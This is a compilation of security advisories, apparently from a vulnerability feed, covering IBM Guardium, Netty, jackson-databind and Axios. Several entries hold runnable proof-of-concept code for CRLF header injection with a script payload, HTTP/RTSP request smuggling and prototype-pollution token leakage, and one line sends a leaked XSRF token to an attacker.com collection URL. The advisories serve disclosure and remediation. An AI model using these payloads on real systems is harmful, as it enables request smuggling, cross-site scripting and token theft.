IBM Guardium Data Protection 12.0, 12.1, 12.2 is affected by an improper validation of user-supplied pointers in the WfpMonitor kernel driver. Certain METHODNEITHER IOCTL handlers dereference user-controlled pointers without adequate probing and exception handling, potentially allowing a privileged local attacker to cause a system crash or perform limited kernel-memory reads.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a local attacker to obtain sensitive information due to cleartext storage of sensitive information in logs.
IBM Guardium Data Protection 12.2.2 is affected by a sensitive information exposure vulnerability. During SECRET and APIKEY rotation processing, sensitive credential material is logged at INFO level by the edge-controller/edge-manager components. An authenticated attacker with access to the relevant application or container logs could obtain these credentials and use them to impersonate services or gain unauthorized access to the Guardium control plane.
IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary JavaScript code due to improper neutralization of input during web page generation.
Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-http multipart) | | Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | CVSS 3.1 Score | 8.1 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low (attacker must be able to upload files with controlled filenames) | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | High | | Integrity Impact | High | | Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
- io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688) - io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78) - io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60) - io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION }
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix | |-----|-----------|-----| | GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() | | GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF8, fileSize);
Wire format: --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.; import io.netty.handler.codec.http.multipart.;
import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets;
/ PoC: HTTP Multipart Content-Disposition Header Injection via Filename Demonstrates that HttpPostRequestEncoder does not validate filenames for CRLF characters, allowing injection of arbitrary MIME headers into multipart form data. / public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ==="); }
static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------");
// Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); }
// Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF8, tempFile.length()); fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest();
// Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF8)); chunk.release(); } } encoder.cleanFiles();
String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO"));
tempFile.delete(); } }
How to Compile and Run
bash Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q
Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r ---
Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens | | Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content | | Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back | | Form Field Override | Inject new multipart boundaries to create/override form fields | | Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; }
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; }
// Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
java // Encode filename per RFC 5987: // filename=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field - RFC 7578: Returning Values from Forms: multipart/form-data - RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters - CWE-93: Improper Neutralization of CRLF Sequences - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern) - GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (Http2StreamFrameToHttpObjectCodec and InboundHttp2ToHttpAdapter) fails to deduplicate or validate Host headers when an HTTP/2 client supplies both the :authority pseudo-header and a literal host header in a single HEADERS frame. The translator maps :authority to Host and separately copies the literal host header, producing an HttpRequest object containing two Host headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Impact HttpContentEncoder (the superclass of the production handler HttpContentCompressor) maintains a per-channel ArrayDeque<CharSequence> named acceptEncodingQueue that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending Sec-WebSocket-Version: 7 and omitting Connection: Upgrade / Upgrade: websocket headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
Summary Netty's CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.
Details In io.netty.handler.codec.http.cors.CorsHandler#channelRead, the short-circuit logic relies on the configuration returned by getForOrigin(origin) to determine if an origin is authorized. If getForOrigin returns a configuration object, the short-circuit check (!(origin == null || config != null)) is bypassed, and the request proceeds to the backend.
The vulnerability is located in the getForOrigin method:
java if (corsConfig.isNullOriginAllowed() || NULLORIGIN.equals(requestOrigin)) { return corsConfig; }
If an attacker sends Origin: null, NULLORIGIN.equals(requestOrigin) evaluates to true. The method returns the configuration object regardless of whether isNullOriginAllowed() was configured by the developer. The short-circuit is bypassed.
Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
Summary UnwrappedPropertyHandler.processUnwrapped() replays the buffered JSON for a @JsonUnwrapped property by iterating its properties and calling prop.deserializeAndSet() with no prop.visibleInView(ctxt.getActiveView()) guard — the exact guard processUnwrappedCreatorProperties() received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard BeanDeserializer.deserializeWithUnwrapped applies to directly-matched properties. As a result, a property annotated with both @JsonView(PrivilegedView.class) and @JsonUnwrapped is written from attacker JSON even when deserializing under a more-restrictive active view.
Correction to the original framing (runtime-verified): the gap is NOT a per-field inner @JsonView (the unwrapped sub-object's own BeanDeserializer gates inner fields correctly). The unchecked gate is the view of the unwrapped CONTAINER property.
Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6) An @JsonView(AdminView) property that is NOT @JsonUnwrapped → null under PublicView (correctly gated). The identical property WITH @JsonUnwrapped → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.
Impact — write-side mass-assignment / privilege escalation @JsonView is commonly used as a write-side authorization guard: a public endpoint binds the body under readerWithView(PublicView.class) and groups privileged state in a nested object whose container property is @JsonView(AdminView). When that property is @JsonUnwrapped, an untrusted caller mass-assigns it. PoC: a self-service registration where AccountFlags{role,approved,creditBalance} is @JsonView(AdminView) @JsonUnwrapped; attacker JSON {role:ADMIN,approved:true,creditBalance:1000000} under PublicView binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (C:N/I:H/A:N); no worse than the C:L/I:L parent and arguably higher as @JsonView-as-write-guard is the exact use case #5971/#5969 defended.
Affected - com.fasterxml.jackson.core:jackson-databind 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). DEFAULTVIEWINCLUSION default=true. - tools.jackson.core:jackson-databind 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). DEFAULTVIEWINCLUSION default=false → the stock-config repro is the common shape where privileged inner fields are individually @JsonView(PublicView) and the developer relies on the container @JsonView(AdminView); the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)
Additive variants (runtime-confirmed both branches; all closed by the same one-line guard) - nested @JsonUnwrapped (unwrapped-in-unwrapped) — recursive bypass. - merge / readerWithView(...).withValueToUpdate(...) (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly. - builder-based deserializer (@JsonDeserialize(builder=...)) — BuilderBasedDeserializer routes through the same processUnwrapped. - Honest non-findings: read-side serialization correctly honors views (no leak); @JsonAnySetter+view and @JsonTypeInfo+@JsonUnwrapped are separate/unsupported behaviors, not this bug.
Fix Add prop.visibleInView(ctxt.getActiveView()) (when MapperFeature.DEFAULTVIEWINCLUSION/active-view applies) to the processUnwrapped() property loop, mirroring processUnwrappedCreatorProperties(). One change closes the impact PoC + all three variants across BeanDeserializer and BuilderBasedDeserializer. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.
Summary For Java Records, POJOPropertiesCollector.removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before renameUsing() applies the PropertyNamingStrategy. After the rename, ignoredPropertyNames still holds only the pre-rename name, so ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.
Impact A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).
Affected / Patched (verified via git tag --contains) - 2.15-2.18 line: >= 2.15.0, < 2.18.8 -> fixed in 2.18.8 (backport c7c6783) - 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4 - 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#5974, baa2cdf)
Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.
Credits Omkhar Arasaratnam (@omkhar) - finder.
IBM Guardium Data Protection 12.2.1, and 12.2.2 's add-on feature of Guardium Data Protection named "Long Term Retention" (LTR) can expose sensitive credentials in debug mode.
Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result = 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));
// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.USASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();
// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }
Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Summary Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
- io.netty.handler.codec.http.DefaultHttpRequest - The constructor calls HttpUtil.validateRequestLineTokens(method, uri) - setUri(String uri) only performs checkNotNull and does not validate - io.netty.handler.codec.http.DefaultFullHttpRequest - setUri(String uri) delegates to the parent implementation - io.netty.handler.codec.http.HttpRequestEncoder - Writes request.uri() directly into the request line - io.netty.handler.codec.rtsp.RtspEncoder - Writes request.uri() directly into the request line
This creates the following bypass:
1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI 2. Later, attacker-influenced input is passed into setUri() 3. HttpRequestEncoder or RtspEncoder encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using setUri().
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1");
client.writeOutbound(request); ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.USASCII));
System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate());
Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); }
outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } }
When reproduced, the raw encoded request looks like this:
http GET /s1 HTTP/1.1
POST /s2 HTTP/1.1 content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
- GET /s1 - POST /s2 with body Hello World - trailing GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP) The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP10, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final");
client.writeOutbound(request); ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.USASCII));
System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retainedDuplicate()); } }
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
text OPTIONS rtsp://cam/stream RTSP/1.0 CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0 CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
- OPTIONS rtsp://cam/stream - DESCRIBE rtsp://cam/secret - OPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact The vulnerable conditions are:
- The application uses DefaultHttpRequest or DefaultFullHttpRequest - The request object is created first and later modified through setUri() - The value passed into setUri() is attacker-controlled or attacker-influenced - The object is eventually serialized by HttpRequestEncoder or RtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling - trigger proxy/backend desynchronization - inject additional requests toward internal APIs - confuse request boundaries and bypass assumptions around authentication or routing - inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that setUri() rejects CRLF-containing input after object construction - verify that DefaultFullHttpRequest.setUri() is blocked as well - verify that spaces, \r, \n, and request-smuggling payloads are rejected - verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses
Affected Area - netty-codec-http - io.netty.handler.codec.http.DefaultHttpRequest - io.netty.handler.codec.http.DefaultFullHttpRequest - io.netty.handler.codec.http.HttpRequestEncoder - io.netty.handler.codec.rtsp.RtspEncoder
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }
Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No
Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }
Resources
- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
